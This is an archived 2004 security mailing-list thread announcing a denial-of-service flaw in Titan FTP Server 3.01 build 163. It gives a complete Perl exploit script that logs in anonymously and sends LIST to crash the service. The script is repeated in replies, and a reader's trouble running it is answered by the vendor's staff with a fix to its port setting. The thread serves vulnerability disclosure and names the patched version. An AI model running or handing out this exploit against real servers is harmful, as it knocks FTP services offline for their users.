PDA

Bekijk Volledige Versie : Titan FTP Server Aborted LIST DoS



Aviram Jenik
06/05/04, 00:35
Titan FTP Server Aborted LIST DoS
----------------------------------------------------


Article reference:
http://www.securiteam.com/windowsntfocus/5RP0215CUU.html


SUMMARY

A security vulnerability exists in South River Technologies' Titan FTP Server.
An attacker issuing a LIST command and disconnecting before the LIST command
had the time to connect, will cause the program to try and access an invalid
socket. This will result in the FTP service's crash (and in turn, no longer
being able to service any additional users).


DETAILS

Vulnerable Systems:
* Titan FTP Server version 3.01 build 163

Immune Systems:
* Titan FTP Server version 3.10 build 169

Solution:
To solve this issue upgrade to the latest version (3.10 build 169 or newer).

Exploit:
#!/usr/bin/perl
# Test for Titan FTP server security vulnerability
#
# Orkut users? Come join the SecuriTeam community
# http://www.orkut.com/Community.aspx?cmm=44441
#
use IO::Socket;

$host = "192.168.1.243";

my @combination;
$combination[0] = "LIST \r\n";

for (my $i = 0; $combination[$i] ; $i++)
{
print "Combination: $1\n";

$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "2112",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
print $_;
if (/220 /)
{
last;
}
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;

while (<$remote>)
{
print $_;
if (/331 /)
{
last;
}
}

$ftp = "PASS a\@b.com\r\n";
print $remote $ftp;
print $ftp;

while (<$remote>)
{
print $_;
if (/230 /)
{
last;
}
}

$ftp = $combination[$i];

print $remote $ftp;
print $ftp;

while (<$remote>)
{
print $_;
if (/150 /)
{
last;
}


close $remote;
}


ADDITIONAL INFORMATION

SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
finding this vulnerability.




Regards,
Aviram Jenik
Beyond Security Ltd.

http://www.BeyondSecurity.com
http://www.SecuriTeam.com

The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf




====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.

Noam Rathaus
07/05/04, 23:15
On Friday 07 May 2004 05:19, Gene Ken wrote:
> Hi Aviram,
>
> I have some trouble with the testing of current exploit, the below
> is my tested procedure:
>
> 1) In my test bed, the host side is winxp professional with ip_addr
> 192.168.0.2 (english, 5.1 build 2600), and the client side is redhat linux
> 9 using NAT in
> Vmware Workstation 4.5.1 build-7568 with ip_addr 192.168.92.3.
>
> 2) I have successfully Titan Ftp Server v3.01 Build 163 installed on Winxp
> Pro platform. also the perl script u mentioned in ur article has
> successfully executed like as the below:
>
> /* on my redhat box, i use ftp to verify if the titan ftp server is
> running, the
> result is the info as below: */
>
> [gken@rh9 gken]$ ftp 192.168.0.2
> Connected to 192.168.0.2 (192.168.0.2).
> 220 Titan FTP Server 3.01.163 Ready.
> Name (192.168.0.2:gken): gken
> 331 User name okay, need password.
> Password:
> 230-Welcome gken from 192.168.0.2. You are now logged in to the server.
> 230 User logged in, proceed.
> Remote system type is UNIX.
> Using binary mode to transfer files.
>
> /* executing titan.pl script */
> [gken@rh9 gken]$ perl titan.pl
> Combination:
> cannot connect to ftp daemon on 192.168.0.2 at titan.pl line 22.
>
>
> how to tackle this? thx in advance!
>
>
Hi,

The perl script written is hardcoded to port 2112, which is probably not the
port number your Titan FTP server listens on, modify this number with your
FTP Server port number (the default value is 21).

--
Thanks
Noam Rathaus
CTO
Beyond Security Ltd.

Join the SecuriTeam community on Orkut:
http://www.orkut.com/Community.aspx?cmm=44441

Gene Ken
07/05/04, 23:45
Hi Aviram,

I have some trouble with the testing of current exploit, the below
is my tested procedure:

1) In my test bed, the host side is winxp professional with ip_addr 192.168.0.2
(english, 5.1 build 2600), and the client side is redhat linux 9 using
NAT in
Vmware Workstation 4.5.1 build-7568 with ip_addr 192.168.92.3.

2) I have successfully Titan Ftp Server v3.01 Build 163 installed on Winxp Pro
platform. also the perl script u mentioned in ur article has successfully
executed like as the below:

/* on my redhat box, i use ftp to verify if the titan ftp server is
running, the
result is the info as below: */

[gken@rh9 gken]$ ftp 192.168.0.2
Connected to 192.168.0.2 (192.168.0.2).
220 Titan FTP Server 3.01.163 Ready.
Name (192.168.0.2:gken): gken
331 User name okay, need password.
Password:
230-Welcome gken from 192.168.0.2. You are now logged in to the server.
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.

/* executing titan.pl script */
[gken@rh9 gken]$ perl titan.pl
Combination:
cannot connect to ftp daemon on 192.168.0.2 at titan.pl line 22.


how to tackle this? thx in advance!



---the titan.pl---
#!/usr/bin/perl
# Test for Titan FTP server security vulnerability
#
# Orkut users? Come join the SecuriTeam community
# http://www.orkut.com/Community.aspx?cmm=44441
#
use IO::Socket;

$host = "192.168.0.2";

my @combination;
$combination[0] = "LIST \r\n";

for (my $i = 0; $combination[$i] ; $i++)
{
print "Combination: $1\n";

$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "2112",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
print $_;
if (/220 /)
{
last;
}
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;

while (<$remote>)
{
print $_;
if (/331 /)
{
last;
}
}

$ftp = "PASS a\@b.com\r\n";
print $remote $ftp;
print $ftp;

while (<$remote>)
{
print $_;
if (/230 /)
{
last;
}
}

$ftp = $combination[$i];

print $remote $ftp;
print $ftp;

while (<$remote>)
{
print $_;
if (/150 /)
{
last;
}


close $remote;
}
}

At 05:51 AM 5/5/2004, you wrote:
> Titan FTP Server Aborted LIST DoS
>----------------------------------------------------
>
>
>Article reference:
>http://www.securiteam.com/windowsntfocus/5RP0215CUU.html
>
>
>SUMMARY
>
>A security vulnerability exists in South River Technologies' Titan FTP
>Server.
>An attacker issuing a LIST command and disconnecting before the LIST command
>had the time to connect, will cause the program to try and access an invalid
>socket. This will result in the FTP service's crash (and in turn, no longer
>being able to service any additional users).
>
>
>DETAILS
>
>Vulnerable Systems:
> * Titan FTP Server version 3.01 build 163
>
> Immune Systems:
> * Titan FTP Server version 3.10 build 169
>
> Solution:
> To solve this issue upgrade to the latest version (3.10 build 169 or newer).
>
> Exploit:
> #!/usr/bin/perl
> # Test for Titan FTP server security vulnerability
> #
> # Orkut users? Come join the SecuriTeam community
> # http://www.orkut.com/Community.aspx?cmm=44441
> #
> use IO::Socket;
>
> $host = "192.168.1.243";
>
> my @combination;
> $combination[0] = "LIST \r\n";
>
> for (my $i = 0; $combination[$i] ; $i++)
> {
> print "Combination: $1\n";
>
> $remote = IO::Socket::INET->new ( Proto => "tcp",
> PeerAddr => $host,
> PeerPort => "2112",
> );
> unless ($remote) { die "cannot connect to ftp daemon on $host" }
>
> print "connected\n";
> while (<$remote>)
> {
> print $_;
> if (/220 /)
> {
> last;
> }
> }
>
> $remote->autoflush(1);
>
> my $ftp = "USER anonymous\r\n";
>
> print $remote $ftp;
> print $ftp;
>
> while (<$remote>)
> {
> print $_;
> if (/331 /)
> {
> last;
> }
> }
>
> $ftp = "PASS a\@b.com\r\n";
> print $remote $ftp;
> print $ftp;
>
> while (<$remote>)
> {
> print $_;
> if (/230 /)
> {
> last;
> }
> }
>
> $ftp = $combination[$i];
>
> print $remote $ftp;
> print $ftp;
>
> while (<$remote>)
> {
> print $_;
> if (/150 /)
> {
> last;
> }
>
>
> close $remote;
> }
>
>
>ADDITIONAL INFORMATION
>
>SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
>finding this vulnerability.
>
>
>
>
>Regards,
>Aviram Jenik
>Beyond Security Ltd.
>
>http://www.BeyondSecurity.com
>http://www.SecuriTeam.com
>
>The First Integrated Network and Web Application Vulnerability Scanner:
>http://www.beyondsecurity.com/webscan-wp.pdf
>
>
>
>
>====================
>====================
>
>DISCLAIMER:
>The information in this bulletin is provided "AS IS" without warranty of any
>kind.
>In no event shall we be liable for any damages whatsoever including direct,
>indirect, incidental, consequential, loss of business profits or special
>damages.

Regards,

Gene Ken
86-10-62928315 (Home)
86-13901016339 (Cell)
/* Out of intense complexities, emerge intense simplicities. */